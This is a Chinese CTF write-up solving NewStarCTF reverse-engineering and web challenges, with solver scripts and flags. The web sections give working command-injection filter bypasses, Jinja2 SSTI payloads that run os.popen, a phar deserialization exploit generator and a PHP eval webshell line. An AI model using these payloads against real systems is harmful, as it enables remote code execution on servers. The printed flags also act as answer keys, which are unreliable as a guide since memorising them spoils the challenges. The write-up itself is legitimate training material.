# ida 中发现的一些信息
GNU MP: Cannot reallocate memory (old_size=%lu new_size=%lu) mpz(…)
mpz()返回一个设置为0的新mpz对象。
mpz(n) 从一个数值n返回一个新的mpz对象,如果n不是一个整数,它将被截断为一个整数。
mpz(s[, base=0]) 从一个由指定基数的数字组成的字符串s返回一个新的mpz对象。如果base=0,那么二进制、八进制或十六进制的Python字符串会被识别为前导0b、0o或0x字符。否则,字符串将被假定为十进制。基数的范围在2和62之间。 mpz_random(…)
mpz_random(random_state, n) 返回一个在0和n-1之间的均匀分布的随机整数。参数random_state必须先由random_state()创建。 mpz_rrandomb(…)
mpz_rrandomb(random_state, b)返回一个介于0和2b - 1之间的随机整数,在其二进制表示中具有长序列的0和1。参数random_state必须先由random_state()创建。
mpz_urandomb(…)
mpz_urandomb(random_state, b)返回一个在0和2b - 1之间的均匀分布的随机整数,参数random_state必须先由random_state()创建。

如上一波搜索,可以明确知道mpz 是个数学库,那么分析程序流程的时候,黑盒测试就有了侧重点。

0x02 程序分析

先ida简单分析一下

可以得到程序处理流程:

  1. 先将输入字符对应的hex,转化为小端序[v12]
  2. v9=v12-114514
  3. v9=v9*191980
  4. v9=(v9//(2**20)<<20)+0xf6760

然后将v9与密文比较,也就是v13。

【注意:这里后面的三个表达式关系,需要动态调试。类似黑盒测试的方式得到,同时题目是mpz,可联想到gmp 数学函数库,会有一些帮助】

0x03 解密流程

下面是黑盒测试的用例【用来分析函数功能】

# 下面是,动态调试,分析函数功能用到的黑盒测试

# 12345678ABCDEFGHIJKLMNOPQRSTUVWXYZ   这是test 用例

enc='089A5657565554535251504F4E4D4C4B4A4948474645444342413837363534333231'

enc_=''
for i in range(len(enc)-2,-2,-2):
enc_+=enc[i:i+2]
num=int(enc_,16)
print(hex(num)) e='60677FE420496C8FB2D5F81B3F6285A8CBEE1135587B9EC1E407CB7E8AADD0F3163A1D90' e_=''
for i in range(len(e)-2,-2,-2):
e_+=e[i:i+2]
num1=int(e_,16)
print(hex(num1)) print(num1//num) enc='089A5657565554535251504F4E4D4C4B4A4948474645444342413837363534333231' enc_=''
for i in range(len(enc)-2,-2,-2):
enc_+=enc[i:i+2]
num2=int(enc_,16)
print(hex(num2)) print(hex((num1//(2**20)<<20)+0xf6760))

分析清楚函数功能,开始解密:

# encoding=utf-8

enc='1853AA7A566DABCD46464646464646AA7F2C2D2D2D2D2D2D2D31C8AA8A5E738FE584092C01'  # ida dump出的密文,将其小端序

enc_=''
for i in range(len(enc)-2,-2,-2):
enc_+=enc[i:i+2] num=int(enc_,16)
# num=582872904048513552060243879638332414210812529746092910839742399777159917107350390592280 num=(num*(2**20)-0xf6760)>>20
num=num//191980
num+=114514 print(hex(num)) print(bytes.fromhex('666c61677b676d705f6c6c6c6c6c6c6c6c6c6c3131313131313131315f696e74217d')) # flag{gmp_llllllllll111111111_int!}

flag{gmp_llllllllll111111111_int!}

Web

So Baby RCE

0x01 绕过技巧
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}

(174条消息) CTFHub技能树笔记之RCE:命令注入、过滤cat、过滤空格_weixin_48799157的博客-CSDN博客_命令执行过滤空格

(174条消息) CTFWeb-命令执行漏洞过滤的绕过姿势_Tr0e的博客-CSDN博客_ctf 空格绕过

CTF中命令执行绕过方法 - FreeBuf网络安全行业门户

(174条消息) CTF下的命令执行_lemonl1的博客-CSDN博客_ctf 命令执行

CTF中的命令执行绕过方式 - 知乎 (zhihu.com)【比较全面】

参见上文:

# 一些绕过小技巧
1. cat
1.使用单引号绕过 127.0.0.1; c''at flag_2287214057241.php |base64
2.使用双引号绕过 127.0.0.1; c""at flag_2287214057241.php |base64
3.利用Shell 特殊变量绕过 127.0.0.1; ca$@t flag_2287214057241.php|base64 2.空格可以用以下字符代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等 $IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。 3.
a=fl;b=ag;cat $a$b 变量替换
cp fla{g.php,G} 把flag.php复制为flaG
ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 4.>,+过滤
对于 >,+ 等 符号的过滤 ,$PS2变量为>,$PS4变量则为+ 5.控制环境变量绕过 $PATH => "/usr/local/….blablabla”
${PATH:0:1} => '/'
${PATH:1:1} => 'u'
${PATH:0:4} => '/usr' 6.过滤斜杠/绕过
使用${HOME:0:1}代替/
0x02 RCE

查询足够多资料后,开始RCE【通过cd .. 逐步跳转到 根目录】

/?cmd=ec$@ho${IFS}${PATH}

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

/?cmd=cd${IFS}..%0acd${IFS}..%0acd${IFS}..%0als${IFS}

bin
boot
dev
etc
ffffllllaaaaggggg
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var /?cmd=cd${IFS}..%0acd${IFS}..%0acd${IFS}..%0ac$@at${IFS}ffff$@llllaaaaggggg flag{bcba8204-fad9-4328-9072-afeafd94d764}

flag{bcba8204-fad9-4328-9072-afeafd94d764}

BabySSTI_Two

0x01 测试黑名单

SSTI/沙盒逃逸详细总结-安全客 - 安全资讯平台 (anquanke.com)

细说Jinja2之SSTI&bypass - FreeBuf网络安全行业门户

?name={{1+1}}  # + 过滤

/?name={{"hj"}}   # ""  过滤

?name={{'~'}}     # ~ 过滤

/?name={{'j s'}}  # 空格过滤 单引号可以使用

?name={{'a.b'}}   # . 可以使用

?name={{'a[]b'}}  # [] 可以使用

?name={{'a()b'}}  # () 可以使用

?name={{'()__'}}  # __ 可以使用

?name={{'popen'}}  # popen 过滤

?name={{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

# popen、eval、system 过滤
?name={{lipsum[request.args.t1][request.args.t2][request.args.t3]('os').popen('ls').read()}}&t1=__globals__&t2=__builtins__&t3=__import__ # 绕过 popen 通过 base64 编码 不可行
['cG9wZW4='.decode('base64')] #popen
['ZXZhbA=='.decode('base64')] #eval
("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64')) #__import__('os').popen('ls').read() ?name={{lipsum.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}} ?name={{joiner.__in''it__.__glob''als__.__bui''ltins__['__im''port__']('os').popen('ls').read()}} # 可执行
?name={{[]['__c''lass__']['__ba''se__']['__subcl''asses__']()}} # 利用脚本跑出利用函数位置
{{().__cl''ass__.__bas''es__[0].__su''bcl''asses__()[177].__in''it__.__glob''als__.__bu''iltins__['open']('ls').read()}} ?name={{[].__cla''ss__.__ba''se__.__subcla''sses__()[117].__in''it__.__glo''bals__['__built''ins__']['__imp''ort__']('os').__di''ct__['pop''en']('ls').read()}} /?name={{''['__cla''ss__']['__bas''es__'][0]['__subcl''asses__']()[117]['__in''it__'].__glo''bals__['nepop'[::-1]]('id').read()}}
0x02 绕过测试
# __ 黑名单绕过

{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__

# [] 绕过 getitem() 用来获取序号

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
# encoding=utf-8

str1 = 'popen'
res = ''
for i in str1:
res += "{0:c}"+"['format']({tmp})%2B".format(tmp=ord(i))
print(res[:-3]) for i in range(len(str1)):
print(str(hex(ord(str1[i]))),end=',') # \x70\x6f\x70\x65\x6e

popen 绕过失败

SSTI注入绕过(沙盒逃逸原理一样) - 冬泳怪鸽 - 博客园 (cnblogs.com)

?name={{lipsum.__glo''bals__.__bu''iltins__['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk='.decode('base64'))}}

失败,不知道什么原因

https://blog.csdn.net/weixin_54515836/article/details/113778233

# 发现
166 <class 'warnings.catch_warnings'> #调用commands进行命令执行
?name=
{{().__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}} ?name={{lipsum.__glo''bals__.__buil''tins__['__import__']('os').open('ereh_ni_galf/'[::-1],'r').read()}}
0x03 Rce success

尝试全hex 编码 ,数据构建脚本:

# encoding=utf-8

text = "{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[64]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['\x72\x65\x61\x64']()}}"
print(text.encode()) enc = "{{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}" i = 0
while i <= len(enc) - 1:
if enc[i] == "'":
print(enc[i], end='')
k = i + 1
while enc[k] != "'":
print('\\x' + str(hex(ord(enc[k])))[2:], end='')
k += 1
print(enc[k], end='')
i = k+1
continue
print(enc[i], end='')
i += 1
# 尝试全hex 编码

?name={{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
======> # 方便编码使用
?name={{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}
======>
?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}} name={{''['__class__']['__base__']['__subclasses__']()[64]['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['read']()}}
====>
?name={{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[64]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}} # 发现成功读取 app.py Welcome to NewStarCTF Again, Dear from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__) @app.route("/")
def index():
name = request.args.get('name', 'CTFer')
if not re.findall('class|init|mro|subclasses|flag|cat|env|"|eval|system|popen|globals|builtins|\+| |attr|\~', name):
t = Template(" # 读取根目录
'ls${IFS}/'
Welcome to NewStarCTF Again, Dear app
bin
boot
dev
etc
flag_in_h3r3_52daad
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var # getflag
'c$@at${IFS}/fl$@ag_in_h3r3_52daad' ?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['\x72\x65\x61\x64']()}} Welcome to NewStarCTF Again, Dear flag{903247b8-92e5-49c0-b40a-b69c2fe2db43}

flag{903247b8-92e5-49c0-b40a-b69c2fe2db43}\

UnserializeThree

hint

PHP反序列化漏洞系列第三题。当文件上传遇到反序列化,擦出爱(RCE)的火花
0x01 题目分析

可以上传图片,并会返回访问路径。

在index页面,发现class.php,访问得到:

<?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
}
} file_exists($_GET['file']);

详谈CTF中常出现的PHP反序列化漏洞 - FreeBuf网络安全行业门户

Phar (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。如果你使用的是 PHP 5.3 或更高版本,那么Phar后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。而Phar文件中也存在反序列化的利用点:phar文件会以序列化的形式储存用户自定义的meta-data,在执行Phar文件时meta-data中用户自定义的元数据将被反序列化从而达到反序列化攻击的目的,这也扩展了PHP反序列化攻击的攻击面

这一利用出自2018年Blackhat大会上的Sam Thomas分享的File Operation Induced Unserialization via the「phar://」Stream Wrapper这个议题.

该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
0x02 phar 反序列化漏洞利用

显然本题的考点就是 phar:// 反序列化漏洞了

浅析Phar反序列化 - FreeBuf网络安全行业门户

(174条消息) phar反序列化+两道CTF例题_Z3eyOnd的博客-CSDN博客_ctf phar反序列化

构建phar 文件(174条消息) disabled by the php.ini setting phar.readonly_weixin_34004750的博客-CSDN博客

PHP绕过 | Lazzaro (lazzzaro.github.io)

<?php

class Evil{

    public $cmd="\r"."system('ls');";
} $a = new Evil(); $phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering(); # $str="PHP_EOL";
$test1="\r"; $cmd=$test1."system('dir');";
// .urldecode("%0a"); eval('#'.$cmd);

生成phar 包后,改名上传,并获取路径。

Saved to: upload/0412c29576c708cf0155e8de242169b1.jpg

0x03 绕过验证

可以看到已经成功,phar 反序列化利用了。但是还需要绕过验证

 if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
// 在前面拼接了 # 注释符,同时 过滤换行 //PHP_EOL 可替代换行 但是php过滤了 // 由于php ? <> 等字符过滤
//php别名解析
//php3、php5、phtml能解析成php文件 //GIF89a?
<script language="ph%00p"> @eval($_REQUEST['pass']);
</script>

一番尝试后,发现回车"\r",与换行有相同作用,可以绕过,成功rce

public $cmd="\r"."system('ls');";

bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var # 得到flag public $cmd="\r"."system('cat flag');"; flag{ba275b97-c9fe-4030-94a9-ef44a2dc3dc5}

flag{ba275b97-c9fe-4030-94a9-ef44a2dc3dc5}

Week5

Re

拔丝溜肆 (easy)

0x01 程序分析

main_

是个base64 加密:

这里值得注意的是,每次编码的时候,都使用源base64表移位获得。

所以,需要动调获得每次的移位值。

key = [0x29, 0x28, 0x39, 0xa, 0x3e, 0x1e, 0x3b, 0x19, 0x0c, 0x0, 0x2e, 0x3a, 0x1, 0x18]

直接通过每轮移位值,进行变表解编码得到flag。

0x02 base 变表解编码
# encoding=utf-8

print("x" * 42)

# 变表base
import base64 change_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' str1 = 'CPaKBfUZFcNwW9qCKgyvuS2PGPQ9mttGc/wCNS0w6hDwGOSsOkOEkL5V' key = [0x29, 0x28, 0x39, 0xa, 0x3e, 0x1e, 0x3b, 0x19, 0x0c, 0x0, 0x2e, 0x3a, 0x1, 0x18] for i in range(0, len(str1), 4):
tmp=list(table)
new_table=[0]*64
for k in range(len(tmp)):
new_table[k]=tmp[(key[i//4]+k)%64]
change_table=''.join(new_table)
print(str(base64.b64decode(str1[i:i+4].translate(str.maketrans(change_table, table))))[2:2+3], end='') # flag{12573882-1CF1-EB5E-C965-035B1F263C38}

flag{12573882-1CF1-EB5E-C965-035B1F263C38}

E4sy_Mix (hard)

0x01 smc 自修改

一般有两种方案解决:

  1. 直接动调让程序自己运行恢复【题目有debug,动态调试需绕过】。

  2. idc 脚本,直接修改也能得到。

这里使用第一种,动态调试得到正确逻辑!【这种比较简单,同时可以得到一些运行数据,更容易求出flag】

修改逻辑,绕过即可。得到正常函数:

加密逻辑,很简单:

  for ( i = 0; i < result; ++i )
{
v3 = (v3 + 1) % 256; // 右移1
v5 = byte_404490[v3];
v4 = (v5 + v4) % 256;
byte_404490[v3] = byte_404490[v4];
byte_404490[v4] = v5;
*(_BYTE *)(i + a1) ^= byte_404490[(unsigned __int8)(v5 + byte_404490[v3])];
}
0x02 py解密
# encoding=utf-8

print("x" * 33)

byte_404490=\
[ 0x61, 0x07, 0xD5, 0x8A, 0x69, 0x78, 0x2D, 0x56, 0xD1, 0x7C,
0x1E, 0x0E, 0x0C, 0x0F, 0x64, 0x30, 0x14, 0xC5, 0x3C, 0xB0,
0x37, 0x41, 0x1C, 0x17, 0x6A, 0xB5, 0x4A, 0xB9, 0x3D, 0x4D,
0xF2, 0xB7, 0x38, 0xB8, 0x7B, 0x9F, 0x48, 0x7F, 0xE5, 0xD2,
0xA8, 0xEE, 0xB3, 0x2F, 0xC1, 0x5A, 0xCE, 0x0B, 0x2A, 0x94,
0x50, 0xCA, 0x71, 0x72, 0xA9, 0xE1, 0x67, 0xDE, 0x28, 0x76,
0x31, 0x09, 0x3E, 0xE2, 0x3F, 0xA7, 0x20, 0xFE, 0x26, 0x42,
0x7A, 0xD9, 0x4C, 0xD6, 0x63, 0x23, 0x34, 0xC3, 0x08, 0x92,
0xAB, 0x18, 0x91, 0x3B, 0xAD, 0x1A, 0x4E, 0xA5, 0xF0, 0x83,
0xB6, 0x05, 0x77, 0xC7, 0xC6, 0x8E, 0x90, 0x5D, 0x19, 0x6D,
0x33, 0x1B, 0xF8, 0x45, 0xAC, 0x9A, 0x96, 0xA6, 0x79, 0xC0,
0x00, 0x02, 0xDB, 0x53, 0x68, 0x6B, 0x10, 0x6F, 0x98, 0xDF,
0x84, 0x0A, 0x47, 0x40, 0x13, 0xF3, 0xAF, 0x12, 0xBA, 0x8B,
0xD7, 0xCB, 0x9B, 0xF6, 0xC8, 0x9C, 0xE0, 0x01, 0x5B, 0xE3,
0xA2, 0x06, 0x03, 0xDA, 0x2E, 0x75, 0xC2, 0x74, 0xDD, 0xFB,
0xFD, 0xEA, 0xA1, 0x81, 0xBB, 0x65, 0x25, 0x44, 0xD8, 0x24,
0x39, 0xBF, 0x57, 0x0D, 0xEC, 0x70, 0xFC, 0xBD, 0x59, 0x4B,
0x49, 0x86, 0xCD, 0xE7, 0x73, 0xA0, 0x8D, 0x1D, 0xDC, 0x5E,
0x97, 0x87, 0xC9, 0xCC, 0x7D, 0x7E, 0x80, 0x16, 0xBC, 0xD3,
0xEB, 0xF4, 0x58, 0x51, 0x43, 0xF9, 0xCF, 0xBE, 0xF1, 0x66,
0xD4, 0xF7, 0x04, 0x5F, 0x21, 0xED, 0x32, 0xAE, 0x15, 0x27,
0xEF, 0x2C, 0xE9, 0x36, 0xFA, 0x5C, 0x29, 0x93, 0x35, 0x95,
0xE8, 0xA3, 0x52, 0x6E, 0x8F, 0xB4, 0xE4, 0x9D, 0xAA, 0x62,
0x3A, 0xA4, 0xD0, 0x4F, 0x8C, 0x46, 0x22, 0xB2, 0xB1, 0x89,
0x55, 0x9E, 0xFF, 0x11, 0xC4, 0x2B, 0x1F, 0xE6, 0x6C, 0x85,
0x60, 0xF5, 0x99, 0x88, 0x82, 0x54] enc=[ 0xA1, 0xBF, 0xB6, 0x70, 0x63, 0x5B, 0x3B, 0xED, 0xF4, 0x91,
0x81, 0xA4, 0xBD, 0x3A, 0x53, 0x86, 0x5B, 0x8C, 0xDB, 0x41,
0x1B, 0x73, 0xE1, 0xD1, 0xF2, 0xB2, 0xDF, 0x6E, 0x16, 0x56,
0x22, 0x42, 0xFC] v3 = 0
v4 = 0
flag=[0]*len(enc)
for i in range(len(enc)):
v3 = (v3 + 1) % 256 # 右移1
v5 = byte_404490[v3]
v4 = (v5 + v4) % 256
byte_404490[v3] = byte_404490[v4]
byte_404490[v4] = v5
flag[i]= byte_404490[(v5 + byte_404490[v3])&0xff]^enc[i] for i in range(len(flag)):
print(chr(flag[i]),end='')

flag{RC4_and_SMC_is_interesting!}

最后附上idc python:

直接Shift + F2 运行脚本,优点是,也能得到调试获得的结果,且便捷;缺点是,运行的数据获取不到,需要自己求解】

import ida_bytes
for ea in range(0x402000,0x402000+53,1):
ida_bytes.patch_dword(ea,ida_bytes.get_original_dword(ea)^0x54)

Petals Level Up (easy)

0x01 程序分析

__asm { jmp     r15 }

# 发现上面内联 汇编指令,实现程序的跳转

处理方式就是动态调试【或者可以,自行计算出r15但显然比较麻烦】

0x02 程序动态调试跟进

这里对输入,有一次处理!

input 值在映射表中的位置,作为新值替代input:

映射表生成如下:

  for ( i = 0; i <= 255; ++i )
*((_BYTE *)v3 + i) = ~(i ^ a2);

可以看到将输入 进行 移位 xor 操作【但是这里后面存在 jmp r15,所以需要查看汇编指令又进行了那些操作】

汇编跳转如下:

又进行了两次 移位 xor 运算:

【上面,移位4时,xor 0x7a,标注错了】

同时末尾,又xor input[i+1]。这里动态调试获得!

下面是密文比较: md5 ,加密小写提交

如上分析:就可以得到下面的加密流程: # 最后一轮 xor input[0]

    *a1 = (*a1 << 7) | (*a1 >> 1);
*a1 ^= 0x71u;
*a1 = (*a1 << 6) | ((unsigned __int8)*a1 >> 2);
*a1 ^= 0x73u;
*a1 = (*a1 << 5) | (*a1 >> 3);
*a1 ^= 0x64u;
*a1 = (*a1 << 4) | ((unsigned __int8)*a1 >> 4);
*a1 ^= 0x7Au;
*a1 ^= *(a1+1)
0x03 解密py

先写出加密逻辑,进行测试:【与程序运行结果相同,说明分析正确】

# encoding=utf-8

enc=[0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x31,
0xC3, 0x6E, 0x24, 0xE3, 0x7C, 0xFF, 0xDA, 0xF9, 0x75, 0xF2,
0x60, 0xBF, 0x33, 0xE3, 0x65, 0xA6, 0x62, 0x2A, 0x65, 0x24,
0xB4, 0xBA] def RoL(num,bit):
return ((num<<bit)|(num>>(8-bit)))&0xff # 生成映射表
table=[0]*256
len_=len(enc)
for i in range(256):
table[i]=(~(i^len_))&0xff print(hex(table.index(ord('x'))))
test='1234567890987654321112345678abcd' print(table)
flag=[0]*len(enc) for i in range(len(test)):
tmp=table.index(ord(test[i]))
tmp = RoL(tmp, 7)
tmp ^= 0x71
tmp = RoL(tmp, 6)
tmp ^= 0x73
tmp = RoL(tmp, 5)
tmp ^= 0x64
tmp = RoL(tmp, 4)
tmp^=0x7a if i != len(test)-1:
tmp^=table.index(ord(test[i+1]))
else:
tmp^=flag[0]
flag[i]=tmp
print(hex(tmp),end=',')

测试正确:写出解密逻辑,得到flag。

解密py:

# encoding=utf-8

import hashlib

enc=[0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x31,
0xC3, 0x6E, 0x24, 0xE3, 0x7C, 0xFF, 0xDA, 0xF9, 0x75, 0xF2,
0x60, 0xBF, 0x33, 0xE3, 0x65, 0xA6, 0x62, 0x2A, 0x65, 0x24,
0xB4, 0xBA] def RoR(num,bit):
return ((num>>bit)|(num<<(8-bit)))&0xff # 生成映射表
table=[0]*256
len_=len(enc)
for i in range(256):
table[i]=(~(i^len_))&0xff flag=[0]*len(enc) flag[0]=enc[0]
for i in range(len(enc)-1,-1,-1):
if i == len(enc)-1:
tmp=flag[0]^enc[i]
else:
tmp=enc[i]^flag[i+1] tmp^=0x7a
tmp=RoR(tmp,4)
tmp^=0x64
tmp=RoR(tmp,5)
tmp^=0x73
tmp=RoR(tmp,6)
tmp^=0x71
tmp=RoR(tmp,7) flag[i]=tmp
print(tmp) print(flag)
for i in range(len(flag)): #bakabakaba#AtsukoKagari#aw1dyq2r
print(chr(table[flag[i]]),end='')
print()
print(hashlib.md5('bakabakaba#AtsukoKagari#aw1dyq2r'.encode()).hexdigest())

flag{d5658c0b4c44d4672d76b563a8505a66}

【这题或许可以,静态修改跳转逻辑,使其能够F5 反汇编,可能会容易很多,不然分析汇编代码,容易漏掉细节,耗时大】

有时间可以尝试一下。

Virtual Self (middle)

0x01 VM opcode 转换为 可理解语句

特征很明显,是VM 类型题目。程序的加密逻辑是固定的,但是由于将其加密过程转化为未知 opcode 进行翻译。所以直觉上,运行规律是不可理解的。

那么现在就需要,将其opcode 码,转化为可理解的 伪汇编代码!!!

首先 用 idcpython 将 opcode dump出来:【动态调试 过程中dump】

import idaapi

start_address=0x00007FFC2B201890
end_address=0x00007FFC2B2021E0+1
data_length= end_address-start_address data = idaapi.dbg_read_memory(start_address, data_length)
fp = open(r'F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\week5\Re\Virtual Self (middle)\opcode', 'wb')
fp.write(data)
fp.close()

指令长度 为 4:

opcode[0]===>运算类型 如 mov sub add等

opcode[1]===>细分运算类型 如 mov 的不同用法类别

opcode[2]、opcode[3] 操作数

print 出可理解伪汇编:

# encoding=utf-8

import binascii
import hashlib with open(r'F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\week5\Re\Virtual Self (middle)\opcode', 'rb') as f:
opcode = f.read() # opcode_=binascii.hexlify(opcode)
# print(opcode_) opcode = bytes(opcode) # 下面程序相当于将程序 vm 走了一遍。用python 代码
# opcode=[0]*((len(opcode_)//2))
# for i in range(0,len(opcode_),2):
# opcode[int(i//2)]=int(opcode_[i:i+2],16) print('x' * 29) i = 0
while opcode[i] != 0xff: if opcode[i] == 224: # mov
if opcode[i + 1] == 0:
print("mov reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
elif opcode[i + 1] == 1:
print("mov reg[", opcode[i + 2] - 208, "] ", "input[", opcode[i + 3], "]")
elif opcode[i + 1] == 2:
print("mov input[", opcode[i + 2], "] ", "reg[", opcode[i + 3] - 208, "]")
print()
elif opcode[i + 1] == 3:
print("mov reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
elif opcode[i] == 162: # sub
if opcode[i + 1] == 1:
print("sub reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
elif opcode[i + 1] == 0:
print("sub reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
elif opcode[i] == 160: # xor
if opcode[i + 1] == 1:
print("xor reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
elif opcode[i + 1] == 0:
print("xor reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
elif opcode[i] == 161: # add
if opcode[i + 1] == 1:
print("add reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
elif opcode[i + 1] == 0:
print("add reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
i += 4 print("end !!!")

得到 伪汇编代码!

0x02 翻译后的伪汇编代码分析
# 运行上面脚本 即可得到【数据比较多,这里就不展示了】

翻译后得到上面伪汇编代码,逐个解密得到flag!

0x03 py解密
# encoding=utf-8

input = [0x84, 0x1F, 0x3C, 0x7B, 0xB9, 0x2A, 0x6C, 0x63, 0xA4,
0x72, 0x1B, 0x08, 0x76, 0x5F, 0x96, 0x88, 0x86, 0x5F, 0x7B,
0x67, 0xCD, 0x86, 0x97, 0x66, 0x64, 0x99, 0xFC, 0x7D, 0x81] input[3] = (input[3] + 2) ^ 20 - 2
input[10] = input[10] ^ 97 ^ 3
input[17] = (input[17] ^ 3 + 2) ^ 1
input[22] = (input[22] ^ 230 ^ 1 - 2 + 252 + 2)
input[5] = (((((input[5] - 1) ^ 1 ^ 74 - 112) + 1 + 23) ^ 74) + 23)&0xff
input[0] = (((input[0] ^ 2 + 3) ^ 31 + 2) - 11 + 217) & 0xff
input[7] = ((input[7] + 6) ^ 2 + 1)
input[25] = ((input[25] + 4 - 2) ^ 1 - 128 + 78) & 0xff
input[23] = ((input[23] ^ 3 + 3 - 3) ^ 3 ^ 1 + 2)
input[14] = (input[14] - 228 - 1 + 249 + 249 + 1 + 3) & 0xff
input[19] = (input[19] + 1)
input[26] = (((input[26] ^ 3 + 9 - (58-79)) ^ 2 ^ 117)&0xff - 58) & 0xff
input[20] = (((input[20] - 4) ^ 1 - 4 - 4) ^ 2) & 0xff
input[2] = (input[2] + 24 + 3 - 244 - 2) & 0xff
input[18] = ((input[18] - 2 - 3) ^ 3 ^ 237 ^ 1 ^ 218)
input[4] = (((input[4] - 2 + 1) ^ (216 - 188) - 42 - 1) ^ 2) & 0xff
input[6] = ((input[6] + 1 - 3 + 2 + 3) ^ 3 - 2) ^ 3
input[11] = ((input[11] + 174) ^ (112 - 174 + 4) - 2 + 3 + 2 - 4) & 0xff
